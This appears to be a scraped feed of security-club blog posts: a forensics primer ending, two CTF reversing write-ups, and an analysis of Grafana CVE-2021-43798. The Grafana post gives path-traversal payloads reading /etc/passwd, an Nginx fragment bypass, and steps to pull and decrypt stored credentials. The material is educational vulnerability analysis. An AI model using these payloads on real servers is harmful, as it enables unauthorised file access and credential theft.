Forensics Event Logs A security log entry depicting a logon event in Event Viewer\nLogin time, number of failed password attempts, last logon attempt, and other security \u0026amp; system related logs can be found in the Event Viewer of Windows machines. They may provide useful information on what last went down in a computer system.\nBrowser Artifacts Browser history, passwords, cookies, temporary internet files, and bookmarks might prove to be useful in an investigation. Be sure to check these if you are given a snapshot of an operating system and need to look for clues.\nUser Directories Operating systems may contain different profiles. If what you are looking for is not present in the current user\u0026rsquo;s directory, chances are that you might be looking in the wrong place.\nTry going to other users\u0026rsquo; home directories to see if there are any files of interest.\nHidden Directories/Files A directory in windows with the \u0026ldquo;Hidden\u0026rdquo; attribute\nStill can\u0026rsquo;t find what you are looking for? That might be a sign that some data cannot be seen through normal means.\nIn Windows\u0026rsquo; File Explorer, check that View -\u0026gt; Hidden Items is enabled. This allows you to see hidden files and folders.\nIn Linux machines, files and folders may be renamed to begin with ., which will be ignored by the ls command. To show these hidden items, use ls -a instead.\nConclusion There are many more aspects of digital forensics that were not covered in this writeup, as it was meant to be a brief introduction for beginners. I personally recommend trying the challenges over at ctflearn.com for beginner-level ones. I hope you\u0026rsquo;ve enjoyed reading and have hopefully learnt something new! :)\nReferences File system forensics:\nhttps://en.wikipedia.org/wiki/File_carving Memory Forensics:\nhttp://www.berghel.net/publications/data_hiding/data_hiding Network Forensics:\nhttps://en.wikipedia.org/wiki/Network_forensics http://testphp.vulnweb.com/login.php Audio Forensics:\nhttps://ctf-wiki.mahaloz.re/misc/audio/introduction/ Forensics Tools/Guides/References for CTFs Image Forensics:\nhttps://ctflearn.com/challenge/934 https://ctflearn.com/challenge/108 http://exif.regex.info/exif.cgi https://stylesuxx.github.io/steganography/ https://www.file-recovery.com/jpg-signature-format.htm https://ctf101.org/forensics/what-is-stegonagraphy/ Unknown File Forensics:\nhttps://www.easytechjunkie.com/what-is-a-file-signature.htm https://www.kali.org/tools/binwalk/ ","permalink":"https://nusgreyhats.org/posts/writeups/introduction-to-digital-forensics/","summary":"An introduction to Digital Forensics Welcome to a beginner\u0026rsquo;s guide to Digital Forensics. This writeup explains how forensics is applied in the real world, and common techniques/challenges used in CTFs.\nIf you are already well versed with digital forensics and would like to learn about digital forensics in CTFs, you may skip to here.\nThe term \u0026ldquo;forensics\u0026rdquo; originally means \u0026ldquo;of or before the forum\u0026rdquo;. The modern meaning of \u0026ldquo;forensics\u0026rdquo; is a form of legal evidence to be presented.","title":"Introduction to Digital Forensics"},{"content":"Overview The HTX Investigators’ Challenge (HTXIC) 2021 was a CTF competition with about ~128 teams participating, it was held online on 20 Dec 2021. This post will document a writeup on the challenge Reversing 101 as I thought it is quite a fun to reverse a tic tac toe game and find flag.\nPS: The CTF came in a mixed reality/game world concept where instead of the usual web portal where we submit our flags, it is done in a Unity game mirroring the HTX Office in real life. We get to see our teammates in game too in various avatars and have to uncover/hunt for \u0026lsquo;quests\u0026rsquo; in game to unlock the CTF challenges. Other than the lack of features in-game like the ability to chat, this CTF was quite a novel one replacing the face to face physical competitions in this COVID-19 pandemic.\nUnderstanding the binary Since the challenge title already hints that this is a reversing challenge, we can first analyse the binary to know what we are dealing with.\nUploading the file onto VirusTotal is a easy way to figure it, so upon upload we get the following:\nAccess the full VirusTotal Report here\nIndicating that this binary is a PE32 executable for MS Windows (GUI) Intel 80386 32-bit Mono/.Net assembly.\nWe can verify this using local tools as well, for example on Detect It Easy, identifying it to be a .NET(v4.0.30319) binary. This would mean that we can test this binary out on a Windows VM. Interestingly, Confuser(1.X) was also identified, this will be useful later.\nTesting the binary Before going into reversing the program, let\u0026rsquo;s first understand what it does.\nLaunching the program, we expectedly get a GUI program showing a Tic Tac Toe game. The symbols and font of the game looks suspicious, and in the background a familiar soundtrack from the popular Squid Game Netflix drama is playing, perhaps a sign that this game is rigged and we have no way to legitimately win 😥😥.\nAfter some testing of the game by manually playing the tic tac toe against the \u0026lsquo;AI\u0026rsquo;, and manipulating the game with some basic Cheat Engine, seems like even with a high score 1 million games won is not something that would reveal the challenge flag.\nBesides testing the game score, the game is pretty basic. Just click anywhere on the 3x3 game tile to play the game, after you win or lose, click next round. Alternatively, the score resets when you click on the \u0026lsquo;Reset\u0026rsquo; button. The game functions like how one would expect a typical tic tac toe game to, except you will never get a flag/prize even if you played beyond integer limit.\nLooks like the flag won\u0026rsquo;t come easily, and does require some 101 reversing efforts. So let\u0026rsquo;s get started.\nReversing the binary Since Detect It Easy has identified that this is a .NET application, we can make use of our handy dnSpy to deal with it. This tool is a useful debugger and .NET assembly editor and it does come with the feature to decompile .NET. This is great news, as we do not have to use tools like Ghidra or IDA Pro which would be more tedious to reverse and analyse.\nUpon opening it on dnSpy, we can see that the code is successfully reversed. Unfortunately, we see some form of obfuscation, where things like the method names are not in plaintext.\nThis is due to the use of Confuser by the authors, which we have identified earlier. This technique is also commonly used by malware authors if they want to hinder analysis efforts. For this challenge, more specifically, it is ConfuserEx v1.0.0 which was used to obfuscate the binary. To solve this, we could use de4dot to clean up the binary.\nJust clone the GitHub and compile it, or grab a release on the internet. Then just run the command:\nPS C:\\Users\\Alice\\Desktop \u0026gt; de4dot-x64.exe .\\TicTacToe.exe de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com Latest version and source code: https://github.com/0xd4d/de4dot Detected Unknown Obfuscator (C:\\Users\\Alice\\Desktop\\TicTacToe.exe) Cleaning C:\\Users\\Alice\\Desktop\\TicTacToe.exe Renaming all obfuscated symbols Saving C:\\Users\\Alice\\Desktop\\TicTacToe-cleaned.exe Finally, the code is cleaned and readable. The code is quite long, with about 1000++ lines in total. So I will just summarize what are the main points to solving this challenge.\nFirstly, at the entry point, it runs Form1 which is the main Tic Tac Toe game interface we saw earlier.\nprivate static void Main() { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Application.Run(new Form1()); } Tracing the click events, we see that for each tile of the tic tac toe clicked by the user, the code is as follows:\nprivate void button1_Click(object sender, EventArgs e) { if (!this.bool_0) { if (this.list_0.Contains(\u0026#39;1\u0026#39;)) { this.button1.ForeColor = Color.Lime; this.button1.Text = \u0026#34;O\u0026#34;; this.list_0.Remove(\u0026#39;1\u0026#39;); this.method_8(); } } else { this.method_10(\u0026#39;1\u0026#39;); this.method_11(); } } In method_8, it does a series of if else conditions to check if the player has won the game, lost it, or if it ended in a draw, and displays the message box accordingly.\nThis can be confirmed by base64 decoding:\necho WW91IHdpbiEgUHJlc3MgTmV4dCBSb3VuZCB0byBjb250aW51ZS4= | base64 --decode You win! Press Next Round to continue. echo WW91IExvc2UhIFByZXNzIE5leHQgUm91bmQgdG8gY29udGludWUu | base64 --decode You Lose! Press Next Round to continue. echo RHJhdyEgUHJlc3MgTmV4dCBSb3VuZCB0byBjb250aW51ZS4= | base64 --decode Draw! Press Next Round to continue. However, there is an additional if statement after the checks for win/lose/draw condition, checking if 2 integers are 3 and 2 respectively.\nif (this.int_0 == 3 \u0026amp;\u0026amp; this.int_1 == 2) { this.method_9(); } Turns out that this is referring to the player score. So let\u0026rsquo;s go back to the binary and give it a play.\nTo speed things up a little, as the AI was too dumb to win me, I edited the memory to give it the desired scores of 3 and 2 for myself and the AI. This could be played manually too, though time consuming.\nUpon clicking any tiles with the score, the condition is met and a message box pops up telling us \u0026ldquo;You have accessed the hidden locker, can you unlock it?\u0026rdquo;. How fun, we have unlocked a secret stage to this game.\nClearly, this is also hinting to us that we are closer to the flag now.\nHidden Locker (Secret Stage?!) in the binary Now, the GUI of the .NET binary has changed. This is no longer a tic tac toe game but we have a PIN pad.\nThe code does something along the lines of:\nChecking the length of the PIN to be 9 Calling method 12, which checks our PIN private void buttonX_Click(object sender, EventArgs e) { if (!this.bool_0) { if (this.list_0.Contains(\u0026#39;1\u0026#39;)) { this.button1.ForeColor = Color.Lime; this.button1.Text = \u0026#34;O\u0026#34;; this.list_0.Remove(\u0026#39;1\u0026#39;); this.method_8(); } } else { this.method_10(\u0026#39;1\u0026#39;); this.method_11(); } } public void method_11() { if (this.string_0.Length == 9) { this.method_12(); } } From here, we see that it uses the PIN along with strings in the method Y0uSh0uldPr3ssth, 3butt0ns and TtH/04xZb79By/VnbPZlBgO/D96vRmqPk0QT50gbdi8= for AesCrypto. Now this is the crypto part of the reversing challenge.\nBut firstly, we have to ensure we pass the lengthy if condition for our PIN to even trigger the decryption routine. As it would be used for decryption, there is no point patching this binary to skip the statement as it would not give us the flag even if we manipulated the if condition.\nif (num % num9 == 0 \u0026amp;\u0026amp; num9 * 3 == num2 \u0026amp;\u0026amp; num2 * 3 == num4 \u0026amp;\u0026amp; num5 % num2 == 2 \u0026amp;\u0026amp; num6 * 4 == num5 \u0026amp;\u0026amp; num2 % num4 == num3 \u0026amp;\u0026amp; num2 - num6 == num \u0026amp;\u0026amp; num7 % num3 == num \u0026amp;\u0026amp; num7 / 2 == num6 \u0026amp;\u0026amp; num8 % num2 == num9 \u0026amp;\u0026amp; num8 % num7 == num2) Since this is something very painful (and perhaps impossible to do within the CTF 12 hours) to be done manually, I have decided to use some python scripting help along with z3 black magic.\nTo install, we can simply use pip.\npip install z3-solver Z3 is basically a theorem prover from Microsoft Research, this would help us to solve the equations given the amount of constraints imposed by the game. Please pardon me for my amateur z3 code, I am still learning it.\nfrom z3 import * s = Solver() pin_code = IntVector(\u0026#34;x\u0026#34;, 9) # Add constraints to z3 s.add(pin_code[0] % pin_code[8] == 0) s.add(pin_code[8] * 3 == pin_code[1]) s.add(pin_code[1] * 3 == pin_code[3]) s.add(pin_code[4] % pin_code[1] == 2) s.add(pin_code[5] * 4 == pin_code[4]) s.add(pin_code[1] % pin_code[3] == pin_code[2]) s.add(pin_code[1] - pin_code[5] == pin_code[0]) s.add(pin_code[6] % pin_code[2] == pin_code[0]) s.add(pin_code[6] / 2 == pin_code[5]) s.add(pin_code[7] % pin_code[1] == pin_code[8]) s.add(pin_code[7] % pin_code[6] == pin_code[1]) # Solve res = s.check() if res == sat: print(s.model()) else: print(\u0026#34;Response: %s\u0026#34; % res) Running the z3 solver would provide us the PIN, after doing some rearrangement:\nx__3 = 9 x__4 = 8 x__1 = 3 x__8 = 1 x__5 = 2 x__6 = 4 x__0 = 1 x__7 = 7 x__2 = 3 PIN = 133982471 Finally, with the PIN cracked, we can just enter it in the game using the GUI and a message box will appear giving us the flag!\nYou have obtained the flag! HTX{R3v3rsingCSh4rplsE4sy}\nGgwp.\nReferences https://ericpony.github.io/z3py-tutorial/guide-examples.htm\nhttps://github.com/ViRb3/z3-python-ctf\nhttps://rolandsako.wordpress.com/2016/02/17/playing-with-z3-hacking-the-serial-check/\nhttps://wiki.bi0s.in/reversing/analysis/dynamic/linux/z3/\nhttps://labs.f-secure.com/assets/BlogFiles/mwri-hacklu-2018-samdb-z3-final.pdf\nhttps://github.com/dnSpy/dnSpy\nhttps://github.com/de4dot/de4dot\nhttps://www.youtube.com/watch?v=TpdDq56KH1I\n","permalink":"https://nusgreyhats.org/posts/writeups/htxic-reversing-101/","summary":"Overview The HTX Investigators’ Challenge (HTXIC) 2021 was a CTF competition with about ~128 teams participating, it was held online on 20 Dec 2021. This post will document a writeup on the challenge Reversing 101 as I thought it is quite a fun to reverse a tic tac toe game and find flag.\nPS: The CTF came in a mixed reality/game world concept where instead of the usual web portal where we submit our flags, it is done in a Unity game mirroring the HTX Office in real life.","title":"HTXIC CTF Reversing 101 Writeup"},{"content":"Overview This post will cover some details behind the recent Grafana vulnerability (CVE-2021-43798), which is a directory traversal bug allowing unauthenticated attackers to read files on the target server filesystem. This post will also discuss some real world scenario and attack surface of the Grafana.\nBrief Analysis on the Root Cause The detailed analysis can be found at the author\u0026rsquo;s blog here, I will only briefly cover it.\nAll API routes were defined in pkg/api/api.go , some require authentication like below:\nr.Get(\u0026#34;/plugins\u0026#34;, reqSignedIn, hs.Index) r.Get(\u0026#34;/plugins/:id/\u0026#34;, reqSignedIn, hs.Index) r.Get(\u0026#34;/plugins/:id/edit\u0026#34;, reqSignedIn, hs.Index) // deprecated r.Get(\u0026#34;/plugins/:id/page/:page\u0026#34;, reqSignedIn, hs.Index) While some does not require signed in, like below:\n// expose plugin file system assets r.Get(\u0026#34;/public/plugins/:pluginId/*\u0026#34;, hs.getPluginAssets) For the route at /public/plugins/:pluginId/*, it is handled by hs.getPluginAssets, which is defined in pkg/api/plugins.go:\n// getPluginAssets returns public plugin assets (images, JS, etc.) // // /public/plugins/:pluginId/* func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) { pluginID := web.Params(c.Req)[\u0026#34;:pluginId\u0026#34;] plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID) if !exists { c.JsonApiErr(404, \u0026#34;Plugin not found\u0026#34;, nil) return } requestedFile := filepath.Clean(web.Params(c.Req)[\u0026#34;*\u0026#34;]) pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile) if !plugin.IncludedInSignature(requestedFile) { hs.log.Warn(\u0026#34;Access to requested plugin file will be forbidden in upcoming Grafana versions as the file \u0026#34;+ \u0026#34;is not included in the plugin signature\u0026#34;, \u0026#34;file\u0026#34;, requestedFile) } // It\u0026#39;s safe to ignore gosec warning G304 since we already clean the requested file path and subsequently // use this with a prefix of the plugin\u0026#39;s directory, which is set during plugin loading // nolint:gosec f, err := os.Open(pluginFilePath) the rest are Omitted Line 5 is retrieving /public/plugins/(.*) as the pluginId, then pass to line 12 filepath.Clean to do sanitization, and concatenate in line 13, finally passed to os.Open in line 23 to read the contents.\nThe most interesting part is the comment at line 20:\n// It\u0026rsquo;s safe to ignore gosec warning G304 since we already clean the requested file path and subsequently\nIf we check the document on the usage of filepath.Clean:\nPoint 4 is worthy to take note.\nreplace \u0026ldquo;/..\u0026rdquo; by \u0026ldquo;/\u0026rdquo; at the beginning of a path\nWhat if the path does not start with /..? we can try it out:\nIt seems that filepath.Clean is not working as what the developers expect it to do, which leads to directory traversal and subsequently arbitrary file read.\nIt can be replicated in the docker environment as shown below (take note that the plugin should exist, otherwise you will get Plugin not found error. Luckily, Grafana has come with some default plugins. In the screenshot below, I am using Grafana\u0026rsquo;s welcome plugin):\nNginx Reverse Proxy Bypass On the day this vulnerability is getting hot amongst the security researchers (around 7th Dec, 2021), the vulnerability author posted a tweet as below:\nBut one day later, he retweeted:\nSo does Nginx help? we can set up the environment and try:\nWe are getting a 400 bad request.\nThe reason is simple: Nginx will do path normalization before it forwards the request to the backend. If the normalized URI is requesting beyond the web root directory, it will simply returns 400 bad request.\nIn the request above, /public/plugins/welcome/../../../../../../../../../../etc/passwd will be normalized into /../../../../../../../etc/passwd, hence, a 400 bad request is returned.\nBut does that mean Nginx will protect Grafana against this kind of path traversal attack? May not be. It depends on how you configure the proxy_pass entry. Before I cover that, here is an example:\nWe can see that our path traversal still succeed and read the content of the sdk.ts, which is located two directories above the welcome plugin directory.\nSo here is first point, which is covered in the Nginx document\nIf proxy_pass is specified without a URI, the request URI is passed to the server in the same form as sent by a client when the original request is processed\nScroll back and examine my Nginx configuration, noticed that my proxy_pass entry is defined as http://localhost:3000, without a URI, hence, the original request will be forwarded to the Grafana backend. And in the first place, since my original URI is /public/plugins/welcome/../../sdk.ts, even after normalization by Nginx, it is /public/sdk.ts, which is a valid URI, hence, Nginx will not complain about it either.\nThis allows us to read arbitrary files up to three directory above the plugin directories. But the default plugin directories is deep at /usr/share/grafana/public/app/plugins/{plugin_id}, even being able to traverse up by 3 directories, there aren\u0026rsquo;t many files to read.\nSo here is the second point, which is covered in this post\nURL consists of scheme:[//authority]path[?query][#fragment], and browsers don’t send #fragment. But how must a reverse proxy handle #fragment?\nNginx throws fragment off\nSo what would happen if my URI is /public/plugins/welcome/#/../../../../../../../../../etc/passwd?\nNginx will process until /public/plugins/welcome/, and forward the entire URI to the Grafana backend, and leads to path traversal all the way up to the root directory:\nAttack Surface under Grafana In this section, we try to examine the possible attack surface under Grafana when we are able to read files on the file system.\nGrafana Database We can try to read the database file, which is located at /var/lib/grafana/grafana.db by default, which is a sqlite database:\nSo, what is inside the Grafana database?\nuser table: The password is hard to decrypt, using a slow hash algorithm with salt as defined in pkg/util/encoding.go:\n// EncodePassword encodes a password using PBKDF2. func EncodePassword(password string, salt string) (string, error) { newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New) return hex.EncodeToString(newPasswd), nil } user_auth_token: It seems that user_auth_token is also stored as one-way hash, as defined in /pkg/services/auth/auth_token.go:\nfunc hashToken(token string) string { hashBytes := sha256.Sum256([]byte(token + setting.SecretKey)) return hex.EncodeToString(hashBytes[:]) } I can\u0026rsquo;t think of a way to exploit this, if possible, please tell me =)\ndata_source: The data_source tells Grafana where to pull the data from.\nFinally there is something that we can exploit. In /pkg/cmd/grafana-cli/commands/datamigrations/encrypt_datasource_passwords_test.go:\nfunc DecryptSecureJsonData(ds *models.DataSource) (map[string]string, error) { decrypted := make(map[string]string) for key, data := range ds.SecureJsonData { decryptedData, err := util.Decrypt(data, setting.SecretKey) if err != nil { return nil, err } decrypted[key] = string(decryptedData) } return decrypted, nil } util.Decrypt is defined in /pkg/util/encryption.go, you can re-use it to decrypt the encrypted password in the data source, or you can use the script here:\nThe secretkey is defined in the Grafana\u0026rsquo;s configuration file, which is located at /etc/grafana/grafana.ini, and it might contains other sensitive information as well. We will cover those next\nGrafana Configuration File Located at /etc/grafana/grafana.ini by default, which might contain several sensitive information. You can take a look at the default configuration file here and see what can be stored inside. I won\u0026rsquo;t go through them one by one.\ngrafana-image-renderer Apart from the various credentials that could be leaked from the Grafana\u0026rsquo;s configuration file, another worth-mentioning entry is the grafana-image-renderer\n[rendering] # Options to configure a remote HTTP image rendering service, e.g. using https://github.com/grafana/grafana-image-renderer. # URL to a remote HTTP image renderer service, e.g. http://localhost:8081/render, will enable Grafana to render panels and dashboards to PNG-images using HTTP requests to an external service. server_url = # If the remote HTTP image renderer service runs on a different server than the Grafana server you may have to configure this to a URL where Grafana is reachable, e.g. http://grafana.domain/. callback_url = # Concurrent render request limit affects when the /render HTTP endpoint is used. Rendering many images at the same time can overload the server, # which this setting can help protect against by only allowing a certain amount of concurrent requests. concurrent_render_request_limit = 30 grafana-image-renderer is a remote HTTP image rendering service, which you can ask the renderer to visit the Grafana panel, render into image and send to us.\nThe official guideline is to set up the grafana-image-renderer service inside a separate docker, and link it to the Grafana docker using Docker Compose like below:\nversion: \u0026#39;2\u0026#39; services: grafana: image: grafana/grafana:latest ports: - \u0026#39;3000:3000\u0026#39; environment: GF_RENDERING_SERVER_URL: http://renderer:8081/render GF_RENDERING_CALLBACK_URL: http://grafana:3000/ GF_LOG_FILTERS: rendering:debug renderer: image: grafana/grafana-image-renderer:latest ports: - 8081 Under this configuration, the renderer service is inaccessible from the Internet.\nHowever, there is another option to run it as a standalone Node.js application.\nIt seems that the service is also listening on the localhost, but actually it is accessible via public network interface:\nExposing a renderer that attackers can specify any host for it to visit is not that dangerous unless you are running an outdated renderer:\nAnd without sandbox:\nSo RCE is achievable:\nReference https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/\nhttps://j0vsec.com/post/cve-2021-43798/\nhttps://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw\nhttps://pkg.go.dev/path/filepath\nhttps://www.acunetix.com/blog/articles/a-fresh-look-on-reverse-proxy-related-attacks/\nhttps://articles.zsxq.com/id_jb6bwow4zf5p.html\nhttps://articles.zsxq.com/id_baeb9hmiroq5.html\nhttps://github.com/jas502n/Grafana-CVE-2021-43798\nhttps://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/\n","permalink":"https://nusgreyhats.org/posts/writeups/a-not-so-deep-dive-in-to-grafana-cve-2021-43798/","summary":"Overview This post will cover some details behind the recent Grafana vulnerability (CVE-2021-43798), which is a directory traversal bug allowing unauthenticated attackers to read files on the target server filesystem. This post will also discuss some real world scenario and attack surface of the Grafana.\nBrief Analysis on the Root Cause The detailed analysis can be found at the author\u0026rsquo;s blog here, I will only briefly cover it.\nAll API routes were defined in pkg/api/api.","title":"A (not so deep) Dive into Grafana CVE-2021-43798"},{"content":"Overview This is a straightforward and classic reverse engineering challenge. It is a windows console application that will validate user input and checks the flag entered. I will go into a bit more details since this is a write up for beginners rather than experienced reverse engineers.\nUnderstanding the target The first step to reverse engineering is figuring out how the target binary is constructed. I don\u0026rsquo;t want to waste our time reversing a packer or .NET bytecodes in IDA. So, I used Detect It Easy to check the binary.\nIt\u0026rsquo;s written in C++ which may have some mangled functions and complicated classes. But it is not that bad to reverse engineer in a classic decompiler like IDA or Ghidra.\nDecompile Loading the binary in IDA, I can see most of the logic is actually written in the main method. That saved me a lot of time as there is not much structures or classes to worry about which tends to be the most time consuming part of reverse engineering a C++ program.\nAs the main method is fairly long, I will just copy paste the IDA decompilation output here.\nint __cdecl main(int argc, const char **argv, const char **envp) { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-\u0026#34;+\u0026#34; TO EXPAND] v3 = (char *)operator new(0x33ui64); v4 = sub_1400026E0(std::cout, (__int64)\u0026#34;Are you ready for [REDACTED]?\u0026#34;); std::ostream::operator\u0026lt;\u0026lt;(v4, sub_1400028B0); std::istream::getline(std::cin, Str1, 40i64); if ( !strcmp(Str1, \u0026#34;nimic_interesant\u0026#34;) ) { strcpy_s(v3 + 34, 0x11ui64, Str1); // v3[34]+ nimic_interesant memset(var_buf, 0, sizeof(var_buf)); sub_140002240((__int64)var_buf); // populate the var_buf if ( (*((_BYTE *)\u0026amp;var_buf[2] + *(int *)(var_buf[0] + 4)) \u0026amp; 6) != 0 ) sub_1400026E0(std::cout, (__int64)\u0026#34;50 burpees\u0026#34;); *(_OWORD *)Str1 = 0i64; v13 = 0i64; v14 = 0i64; std::istream::read(var_buf, Str1, 34i64); *(_OWORD *)v3 = *(_OWORD *)Str1; *((_OWORD *)v3 + 1) = v13; *((_WORD *)v3 + 16) = v14; v6 = v3[34]; *v3 ^= v6; v3[1] ^= v3[35]; v3[2] ^= v3[36]; v3[3] ^= v3[37]; v3[4] ^= v3[38]; v3[5] ^= v3[39]; v3[6] ^= v3[40]; v3[7] ^= v3[41]; v3[8] ^= v3[42]; v3[9] ^= v3[43]; v3[10] ^= v3[44]; v3[11] ^= v3[45]; v3[12] ^= v3[46]; v3[13] ^= v3[47]; v3[14] ^= v3[48]; v3[15] ^= v3[49]; v3[16] ^= v6; v3[17] ^= v3[35]; v3[18] ^= v3[36]; v3[19] ^= v3[37]; v3[20] ^= v3[38]; v3[21] ^= v3[39]; v3[22] ^= v3[40]; v3[23] ^= v3[41]; v3[24] ^= v3[42]; v3[25] ^= v3[43]; v3[26] ^= v3[44]; v3[27] ^= v3[45]; v3[28] ^= v3[46]; v3[29] ^= v3[47]; v3[30] ^= v3[48]; v3[31] ^= v3[49]; v3[32] ^= v6; v3[33] ^= v3[35]; v7 = 0i64; v8 = v3 - byte_140004508; while ( byte_140004508[v7] == byte_140004508[v7 + v8] ) { if ( ++v7 \u0026gt;= 34 ) { v9 = \u0026#34;Nice. Now go get your presents :D\u0026#34;; goto LABEL_10; } } v9 = \u0026#34;Just a few more crunches\u0026#34;; LABEL_10: sub_1400026E0(std::cout, (__int64)v9); *(__int64 *)((char *)var_buf + *(int *)(var_buf[0] + 4)) = (__int64)\u0026amp;std::ifstream::`vftable\u0026#39;; *(int *)((char *)\u0026amp;v10 + *(int *)(var_buf[0] + 4)) = *(_DWORD *)(var_buf[0] + 4) - 176; sub_140002190((__int64)\u0026amp;var_buf[2]); std::istream::~istream\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;var_buf[3]); std::ios::~ios\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;var_buf[22]); result = 0; } else { sub_1400026E0(std::cout, (__int64)\u0026#34;1000 pushups\u0026#34;); result = -1; } return result; } Analysis and solution It is fairly obvious that after \u0026quot;Are you ready for [REDACTED]?\u0026quot; is printed, it will wait on user to provide an input. It will get the first line of the input and see if it is equal to \u0026ldquo;nimic_interesant\u0026rdquo;. Then, it will continue to read 34 bytes from the input stream and store it in Str1. We will call these 34 bytes user_input and \u0026ldquo;nimic_interesant\u0026rdquo; the key from here on.\nrelevant code:\nv4 = sub_1400026E0(std::cout, (__int64)\u0026#34;Are you ready for [REDACTED]?\u0026#34;); // cout \u0026lt;\u0026lt; \u0026#34;Are you ready for [REDACTED]?\u0026#34; std::ostream::operator\u0026lt;\u0026lt;(v4, sub_1400028B0); std::istream::getline(std::cin, Str1, 40i64); // get the first line. if ( !strcmp(Str1, \u0026#34;nimic_interesant\u0026#34;) ) { strcpy_s(v3 + 34, 0x11ui64, Str1); // v3[34]+ nimic_interesant memset(var_buf, 0, sizeof(var_buf)); sub_140002240((__int64)var_buf); // populate the var_buf if ( (*((_BYTE *)\u0026amp;var_buf[2] + *(int *)(var_buf[0] + 4)) \u0026amp; 6) != 0 ) sub_1400026E0(std::cout, (__int64)\u0026#34;50 burpees\u0026#34;); *(_OWORD *)Str1 = 0i64; v13 = 0i64; v14 = 0i64; std::istream::read(var_buf, Str1, 34i64); // get the rest of the input ... } This is followed by a large chunk of xor operations:\nv6 = v3[34]; *v3 ^= v6; v3[1] ^= v3[35]; v3[2] ^= v3[36]; v3[3] ^= v3[37]; v3[4] ^= v3[38]; v3[5] ^= v3[39]; v3[6] ^= v3[40]; v3[7] ^= v3[41]; v3[8] ^= v3[42]; v3[9] ^= v3[43]; v3[10] ^= v3[44]; v3[11] ^= v3[45]; v3[12] ^= v3[46]; v3[13] ^= v3[47]; v3[14] ^= v3[48]; v3[15] ^= v3[49]; v3[16] ^= v6; v3[17] ^= v3[35]; v3[18] ^= v3[36]; v3[19] ^= v3[37]; v3[20] ^= v3[38]; v3[21] ^= v3[39]; v3[22] ^= v3[40]; v3[23] ^= v3[41]; v3[24] ^= v3[42]; v3[25] ^= v3[43]; v3[26] ^= v3[44]; v3[27] ^= v3[45]; v3[28] ^= v3[46]; v3[29] ^= v3[47]; v3[30] ^= v3[48]; v3[31] ^= v3[49]; v3[32] ^= v6; v3[33] ^= v3[35]; v3 is basically a 50 bytes buffer where the first 34 bytes are the user_input and the next 16 bytes are the key. It is essentially doing the following:\nfor i in range (34): user_input[i] = user_input[i] ^ key[i%16] Then, the while block following the xor operations:\nv7 = 0i64; v8 = v3 - byte_140004508; while ( byte_140004508[v7] == byte_140004508[v7 + v8] ) { if ( ++v7 \u0026gt;= 34 ) { v9 = \u0026#34;Nice. Now go get your presents :D\u0026#34;; goto LABEL_10; } } This is using v7 as an index and v8 is the offset from v3 to byte_140004508. In a way, \u0026amp;v3 == \u0026amp;byte_140004508[v8]. Understanding that, we can see it is checking if the first 34 bytes in v3 is the same as the first 34 bytes in byte_140004508. The bytes turned out to be:\n[\u0026#39;0x36\u0026#39;, \u0026#39;0x44\u0026#39;, \u0026#39;0x20\u0026#39;, \u0026#39;0x28\u0026#39;, \u0026#39;0x30\u0026#39;, \u0026#39;0x24\u0026#39;, \u0026#39;0x27\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x3\u0026#39;, \u0026#39;0x3a\u0026#39;, \u0026#39;0xb\u0026#39;, \u0026#39;0xa\u0026#39;, \u0026#39;0x6\u0026#39;, \u0026#39;0x46\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x11\u0026#39;, \u0026#39;0x31\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x7\u0026#39;, \u0026#39;0x26\u0026#39;, \u0026#39;0x36\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x17\u0026#39;, \u0026#39;0x2d\u0026#39;, \u0026#39;0xd\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x9\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x14\u0026#39;] So, to get the expected input, we can use the following script\nkey = \u0026#34;nimic_interesant\u0026#34; expectedResult = [\u0026#39;0x36\u0026#39;, \u0026#39;0x44\u0026#39;, \u0026#39;0x20\u0026#39;, \u0026#39;0x28\u0026#39;, \u0026#39;0x30\u0026#39;, \u0026#39;0x24\u0026#39;, \u0026#39;0x27\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x3\u0026#39;, \u0026#39;0x3a\u0026#39;, \u0026#39;0xb\u0026#39;, \u0026#39;0xa\u0026#39;, \u0026#39;0x6\u0026#39;, \u0026#39;0x46\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x11\u0026#39;, \u0026#39;0x31\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x7\u0026#39;, \u0026#39;0x26\u0026#39;, \u0026#39;0x36\u0026#39;, \u0026#39;0x8\u0026#39;, \u0026#39;0x1b\u0026#39;, \u0026#39;0x17\u0026#39;, \u0026#39;0x2d\u0026#39;, \u0026#39;0xd\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x9\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x1c\u0026#39;, \u0026#39;0x1\u0026#39;, \u0026#39;0x14\u0026#39;] expectedInput = \u0026#34;\u0026#34; for i in range(34): expectedInput += chr(int(expectedResult[i],16) ^ ord(key[i%len(key)])) print (expectedInput) And you will have the flag:\nX-MAS{Now_you're_ready_for_hohoho} ","permalink":"https://nusgreyhats.org/posts/writeups/x-mas-ctf-2021-intensive-training/","summary":"Overview This is a straightforward and classic reverse engineering challenge. It is a windows console application that will validate user input and checks the flag entered. I will go into a bit more details since this is a write up for beginners rather than 